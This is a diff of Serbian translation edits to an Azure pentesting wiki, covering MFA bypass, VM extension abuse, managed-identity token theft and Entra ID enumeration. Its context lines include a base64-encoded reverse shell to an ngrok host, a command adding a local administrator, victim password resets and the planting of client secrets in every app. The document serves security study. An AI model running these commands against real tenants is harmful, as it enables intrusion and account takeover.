Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas i čak dati token ako bude uspešan.
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiti vas, pa čak i dati token ako bude uspešan.
|
||||
|
||||
Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
|
||||
```bash
|
||||
@@ -78,14 +78,14 @@ Alat [**ROPCI**](https://github.com/wunderwuzzi23/ropci) takođe može biti kori
|
||||
Jedna Azure MFA opcija je da **primite poziv na konfigurisanom broju telefona** gde će biti zatraženo od korisnika da **pošalje znak `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da konfiguriše kao poruku **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.
|
||||
> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da kao poruku postavi **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.
|
||||
|
||||
### Usklađeni uređaji
|
||||
|
||||
Politike često zahtevaju usklađeni uređaj ili MFA, tako da bi **napadač mogao da registruje usklađeni uređaj**, dobije **PRT** token i **na ovaj način zaobiđe MFA**.
|
||||
|
||||
Počnite registracijom **usklađenog uređaja u Intune**, zatim **dobijte PRT** sa:
|
||||
```powershell
|
||||
Počnite tako što ćete registrovati **usklađeni uređaj u Intune**, zatim **dobijte PRT** sa:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||
@@ -135,26 +135,26 @@ Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd..
|
||||
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Testirajte svaki portal** da li je moguće **prijaviti se bez MFA**:
|
||||
```powershell
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Zato što **Azure** **portal** **nije ograničen**, moguće je **prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena** prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup njemu:
|
||||
```powershell
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama sa generisanim tokenom:
|
||||
```powershell
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
## Reference
|
||||
|
||||
@@ -23,7 +23,7 @@ Dobijte grupe koje omogućavaju dinamičko članstvo: **`az ad group list --quer
|
||||
|
||||
Za email gost korisnika, prihvatite pozivnicu i proverite trenutne postavke **tog korisnika** u [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Nažalost, stranica ne dozvoljava modifikaciju vrednosti atributa, tako da moramo koristiti API:
|
||||
```powershell
|
||||
```bash
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
|
||||
|
||||
@@ -34,7 +34,7 @@ az vm extension set \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
- Izvršite skriptu smeštenu na internetu
|
||||
- Izvršite skriptu koja se nalazi na internetu
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
@@ -78,8 +78,8 @@ az vm extension set \
|
||||
```
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
- Resetujte lozinku koristeći VMAccess ekstenziju
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -94,7 +94,7 @@ Takođe je moguće zloupotrebiti poznate ekstenzije za izvršavanje koda ili oba
|
||||
<summary>VMAccess ekstenzija</summary>
|
||||
|
||||
Ova ekstenzija omogućava modifikaciju lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -105,8 +105,8 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VMs putem ove ekstenzije:
|
||||
```powershell
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VM-ova. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VM-ovima putem ove ekstenzije:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
@@ -310,7 +310,7 @@ Prijavite se putem **SSH** sa **`az ssh vm --name <vm-name> --resource-group <rs
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Sve ove dozvole su neophodne da bi se **napravio VM sa specifičnom upravljanom identitetom** i ostavio **port otvoren** (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se sa njim i **ukrade tokene upravljane identitete** kako bi eskalirao privilegije na njega.
|
||||
Sve ove dozvole su neophodne da bi se **napravio VM sa specifičnom upravljanom identitetom** i ostavio **port otvoren** (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se na njega i **ukrade tokene upravljane identitete** kako bi eskalirao privilegije na njega.
|
||||
|
||||
U zavisnosti od situacije, može biti potrebno više ili manje dozvola za zloupotrebu ove tehnike.
|
||||
```bash
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ove dozvole su dovoljne da **dodelite nove upravljane identitete VM-u**. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati **sistemsku dodeljenu identitet** i **mnoge korisnički upravljane identitete**.\
|
||||
Ove dozvole su dovoljne da **dodelite nove upravljane identitete VM-u**. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati **sistemsku dodeljenu identitet**, i **mnogo korisnički upravljanih identiteta**.\
|
||||
Zatim, iz servisa za metapodatke moguće je generisati tokene za svaki od njih.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
|
||||
@@ -13,7 +13,7 @@ Možete pronaći listu **Microsoft portala na** [**https://msportals.io/**](http
|
||||
Dobijte **access_token** iz **IDENTITY_HEADER** i **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Zatim upitite Azure REST API da dobijete **subscription ID** i još.
|
||||
```powershell
|
||||
```bash
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
|
||||
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service plan
|
||||
- Izolovani nivoi rade na **posvećenim VM-ovima na posvećenim virtuelnim mrežama**, poboljšavajući izolaciju aplikacija.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). A ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
|
||||
Aplikacije imaju neke zanimljive konfiguracije:
|
||||
|
||||
@@ -28,7 +28,7 @@ Aplikacije imaju neke zanimljive konfiguracije:
|
||||
|
||||
## Osnovna autentifikacija
|
||||
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da želite da **osnovna autentifikacija bude omogućena** (podrazumevano je onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da **osnovna autentifikacija bude omogućena** (podrazumevano je onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
|
||||
|
||||
Da biste pristupili SCM i FTP serverima, potrebni su **korisničko ime i lozinka**. Stoga, Azure pruža neke **API-je za dobijanje URL-ova** za te platforme i kredencijale.
|
||||
|
||||
@@ -44,7 +44,7 @@ Kudu je platforma koja **upravlja i SCM-om i web i API interfejsom** za upravlja
|
||||
Imajte na umu da su verzije Kudu koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija.
|
||||
|
||||
Neki zanimljivi krajnji tački koje možete pronaći u Kudu su:
|
||||
- `/BasicAuth`: Morate pristupiti ovom putu da **prijavite u Kudu**.
|
||||
- `/BasicAuth`: Morate pristupiti ovom putu da biste **prijavili u Kudu**.
|
||||
- `/DebugConsole`: Konzola koja vam omogućava da izvršavate komande u okruženju gde Kudu radi.
|
||||
- Imajte na umu da ovo okruženje **nema pristup** metapodacima servisa za dobijanje tokena.
|
||||
- `/webssh/host`: Web-bazirani SSH klijent koji vam omogućava da se povežete unutar kontejnera gde aplikacija radi.
|
||||
@@ -72,8 +72,8 @@ App Services omogućava da se kod učita kao zip fajl podrazumevano, ali takođe
|
||||
|
||||
Azure WebJobs su **pozadinski zadaci koji se izvršavaju u Azure App Service okruženju**. Omogućavaju programerima da izvršavaju skripte ili programe zajedno sa svojim web aplikacijama, olakšavajući rukovanje asinhronim ili vremenski intenzivnim operacijama kao što su obrada fajlova, rukovanje podacima ili zakazani zadaci.
|
||||
Postoje 2 tipa web jobova:
|
||||
- **Kontinuirani**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućeno i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
|
||||
- **Pokrenuti**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutinske održavanja.
|
||||
- **Kontinuirani**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesuiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućeno i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
|
||||
- **Pokrenuti**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka u serijama ili rutine održavanja.
|
||||
|
||||
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene identitete za upravljanje.
|
||||
|
||||
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
@@ -238,12 +238,12 @@ cd msdocs-python-flask-webapp-quickstart
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
Prijavljivanjem na SCM portal ili prijavljivanjem putem FTP-a moguće je videti u `/wwwroot` kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
Prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
|
||||
**Napadač bi mogao preuzeti ovaj fajl, modifikovati ga i ponovo ga otpremiti da bi izvršio proizvoljan kod u web aplikaciji.**
|
||||
**Napadač bi mogao da preuzme ovaj fajl, modifikuje ga i ponovo ga otpremi da bi izvršio proizvoljan kod u web aplikaciji.**
|
||||
|
||||
### Python sa Github-a
|
||||
|
||||
@@ -253,7 +253,7 @@ Ovaj tutorijal se zasniva na prethodnom, ali koristi Github repozitorijum.
|
||||
2. Kreirajte novu python Web App u Azure-u.
|
||||
3. U `Deployment Center` promenite izvor, prijavite se sa Github-om, izaberite forkovani repozitorijum i kliknite na `Save`.
|
||||
|
||||
Kao u prethodnom slučaju, prijavljivanjem na SCM portal ili prijavljivanjem putem FTP-a moguće je videti u `/wwwroot` kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
Kao u prethodnom slučaju, prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` i ponovo pokretanje implementacije nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
|
||||
@@ -13,14 +13,14 @@ Radi ovako:
|
||||
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Nakon što korisnik pristupi aplikaciji putem krajnje tačke, korisnik se preusmerava na **Azure AD stranicu za prijavu**.
|
||||
2. Nakon **uspešne prijave**, Azure AD šalje **token** korisnikovom klijentskom uređaju.
|
||||
3. Klijent šalje token **Application Proxy servisu**, koji preuzima korisničko glavno ime (UPN) i sigurnosno glavno ime (SPN) iz tokena. **Application Proxy zatim šalje zahtev konektoru Application Proxy-a**.
|
||||
2. Nakon **uspešne prijave**, Azure AD šalje **token** na korisnikov klijentski uređaj.
|
||||
3. Klijent šalje token **Application Proxy servisu**, koji preuzima korisničko ime (UPN) i ime sigurnosnog subjekta (SPN) iz tokena. **Application Proxy zatim šalje zahtev Application Proxy konektoru**.
|
||||
4. Ako ste konfigurisali jednostavno prijavljivanje, konektor vrši bilo koju **dodatnu autentifikaciju** potrebnu u ime korisnika.
|
||||
5. Konektor šalje zahtev **lokalnoj aplikaciji**.
|
||||
6. **Odgovor** se šalje kroz konektor i Application Proxy servis **korisniku**.
|
||||
|
||||
## Enumeracija
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
|
||||
|
||||
@@ -8,12 +8,12 @@
|
||||
|
||||
### Istorija
|
||||
|
||||
Ako možete da mu pristupite, možete imati **informacije o resursima** koji nisu prisutni, ali bi mogli biti implementirani u budućnosti. Štaviše, ako je **parametar** koji sadrži **osetljive informacije** označen kao "**String**" **umesto** kao "**SecureString**", biće prisutan u **čistom tekstu**.
|
||||
Ako možete da mu pristupite, možete imati **informacije o resursima** koji nisu prisutni, ali bi mogli biti implementirani u budućnosti. Štaviše, ako je **parametar** koji sadrži **osetljive informacije** označen kao "**String**" **umesto** "**SecureString**", biće prisutan u **čistom tekstu**.
|
||||
|
||||
## Pretraga Osetljivih Informacija
|
||||
|
||||
Korisnici sa dozvolama `Microsoft.Resources/deployments/read` i `Microsoft.Resources/subscriptions/resourceGroups/read` mogu **čitati istoriju implementacije**.
|
||||
```powershell
|
||||
```bash
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
|
||||
|
||||
@@ -44,7 +44,7 @@ Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook**
|
||||
|
||||
Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran.
|
||||
|
||||
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitetu Automatizovanom nalogu, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
### Okruženja za izvršavanje
|
||||
|
||||
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, obuhvatajući Microsoft 365, Azure portal i brojne druge SaaS aplikacije. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući **autentifikaciju, autorizaciju i upravljanje korisnicima**.
|
||||
Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, obuhvatajući Microsoft 365, Azure portal i mnoštvo drugih SaaS aplikacija. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući **autentifikaciju, autorizaciju i upravljanje korisnicima**.
|
||||
|
||||
Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost identiteta korisnika i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje identitetima korisnika zasnovano na oblaku.
|
||||
|
||||
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Mg" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Login Open browser
|
||||
Connect-MgGraph
|
||||
|
||||
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzAccount #Open browser
|
||||
# Using credentials
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -104,7 +104,7 @@ Get-Command *az*
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw PS" }}
|
||||
```powershell
|
||||
```bash
|
||||
#Using management
|
||||
$Token = 'eyJ0eXAi..'
|
||||
# List subscriptions
|
||||
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzureAD #Open browser
|
||||
# Using credentials
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
|
||||
Kada se **prijavite** putem **CLI** u Azure sa bilo kojim programom, koristite **Azure aplikaciju** iz **tenanta** koji pripada **Microsoftu**. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, **imaju klijent id**. **Nećete moći da vidite sve njih** u **listama dozvoljenih aplikacija** koje možete videti u konzoli, **ali su podrazumevano dozvoljene**.
|
||||
|
||||
Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin može **blokirati tu aplikaciju** tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju putem te aplikacije.
|
||||
Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin bi mogao da **blokira tu aplikaciju** kako korisnici ne bi mogli da pristupe koristeći alate koji se povezuju putem te aplikacije.
|
||||
|
||||
Međutim, postoje **drugi klijent-ids** aplikacija koje **će vam omogućiti da se povežete na Azure**:
|
||||
```powershell
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Users
|
||||
Get-AzureADUser -All $true
|
||||
Get-AzureADUser -All $true | select UserPrincipalName
|
||||
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate users
|
||||
Get-AzADUser
|
||||
# Get details of a user
|
||||
@@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtabs }}
|
||||
|
||||
#### Promena lozinke korisnika
|
||||
```powershell
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti **required MFA if** se prijavi sa određene lokacije, pretraživača ili **neke uslove**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypass-ima**. Proverite:
|
||||
Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti **required MFA if** se prijavi sa određene lokacije, pretraživača ili **neke uslove**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypasses**. Proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -318,7 +318,7 @@ Za više informacija o Entra ID grupama proverite:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate groups
|
||||
az ad group list
|
||||
az ad group list --query "[].[displayName]" -o table
|
||||
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Groups
|
||||
Get-AzureADGroup -All $true
|
||||
# Get info of 1 group
|
||||
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get all groups
|
||||
Get-AzADGroup
|
||||
# Get details of a group
|
||||
@@ -394,7 +394,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
||||
#### Dodavanje korisnika u grupu
|
||||
|
||||
Vlasnici grupe mogu dodavati nove korisnike u grupu
|
||||
```powershell
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Service Principals
|
||||
Get-AzureADServicePrincipal -All $true
|
||||
# Get details about a SP
|
||||
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get SPs
|
||||
Get-AzADServicePrincipal
|
||||
# Get info of 1 SP
|
||||
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
```powershell
|
||||
```bash
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
@@ -489,7 +489,7 @@ Headers = @{
|
||||
<details>
|
||||
|
||||
<summary>Lista i pokušaj dodavanja klijentske tajne na svaku Enterprise App</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
{
|
||||
@@ -603,7 +603,7 @@ Za više informacija o Aplikacijama pogledajte:
|
||||
|
||||
Kada se aplikacija generiše, dodeljuju se 2 tipa dozvola:
|
||||
|
||||
- **Dozvole** dodeljene **Servisnom Principal**
|
||||
- **Dozvole** dodeljene **Servisnom Principalu**
|
||||
